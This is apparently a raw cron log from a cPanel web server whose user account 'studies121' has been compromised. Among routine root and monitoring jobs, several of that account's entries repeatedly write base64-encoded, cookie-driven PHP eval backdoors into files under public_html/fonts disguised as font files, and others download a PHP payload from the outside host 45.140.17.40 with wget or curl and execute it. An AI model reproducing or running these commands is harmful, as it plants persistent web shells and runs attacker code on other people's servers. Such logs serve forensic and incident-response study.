Sep 22 20:22:01 ip-184-168-122-23 CROND[27946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:22:01 ip-184-168-122-23 CROND[27948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:22:01 ip-184-168-122-23 CROND[27951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:22:01 ip-184-168-122-23 CROND[27952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:22:01 ip-184-168-122-23 CROND[27954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:23:01 ip-184-168-122-23 CROND[28432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:23:01 ip-184-168-122-23 CROND[28435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:23:01 ip-184-168-122-23 CROND[28436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:23:01 ip-184-168-122-23 CROND[28437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:24:01 ip-184-168-122-23 CROND[28586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:24:01 ip-184-168-122-23 CROND[28588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:24:01 ip-184-168-122-23 CROND[28589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:24:01 ip-184-168-122-23 CROND[28590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:24:01 ip-184-168-122-23 CROND[28591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:25:01 ip-184-168-122-23 CROND[28716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:25:02 ip-184-168-122-23 CROND[28719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:25:02 ip-184-168-122-23 CROND[28718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:25:02 ip-184-168-122-23 CROND[28723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:25:02 ip-184-168-122-23 CROND[28720]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 20:25:02 ip-184-168-122-23 CROND[28721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:25:02 ip-184-168-122-23 CROND[28722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:26:01 ip-184-168-122-23 CROND[28847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:26:01 ip-184-168-122-23 CROND[28851]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 22 20:26:01 ip-184-168-122-23 CROND[28849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:26:01 ip-184-168-122-23 CROND[28850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:26:01 ip-184-168-122-23 CROND[28852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:26:01 ip-184-168-122-23 CROND[28854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 20:27:01 ip-184-168-122-23 CROND[29041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:27:01 ip-184-168-122-23 CROND[29042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:27:01 ip-184-168-122-23 CROND[29046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:27:01 ip-184-168-122-23 CROND[29047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:28:01 ip-184-168-122-23 CROND[29167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:28:01 ip-184-168-122-23 CROND[29169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:28:01 ip-184-168-122-23 CROND[29168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:28:01 ip-184-168-122-23 CROND[29171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:28:01 ip-184-168-122-23 CROND[29173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:29:01 ip-184-168-122-23 CROND[29404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:29:01 ip-184-168-122-23 CROND[29405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:29:01 ip-184-168-122-23 CROND[29406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:29:01 ip-184-168-122-23 CROND[29408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29557]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:30:01 ip-184-168-122-23 CROND[29564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:30:01 ip-184-168-122-23 CROND[29566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:30:01 ip-184-168-122-23 CROND[29568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:31:01 ip-184-168-122-23 CROND[29705]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 20:31:01 ip-184-168-122-23 CROND[29707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:31:01 ip-184-168-122-23 CROND[29708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:31:01 ip-184-168-122-23 CROND[29710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:31:01 ip-184-168-122-23 CROND[29709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:32:01 ip-184-168-122-23 CROND[29868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:32:01 ip-184-168-122-23 CROND[29870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:32:01 ip-184-168-122-23 CROND[29871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:32:01 ip-184-168-122-23 CROND[29873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:32:01 ip-184-168-122-23 CROND[29872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:33:01 ip-184-168-122-23 CROND[30132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:33:01 ip-184-168-122-23 CROND[30134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:33:01 ip-184-168-122-23 CROND[30133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:33:01 ip-184-168-122-23 CROND[30131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:34:02 ip-184-168-122-23 CROND[30357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
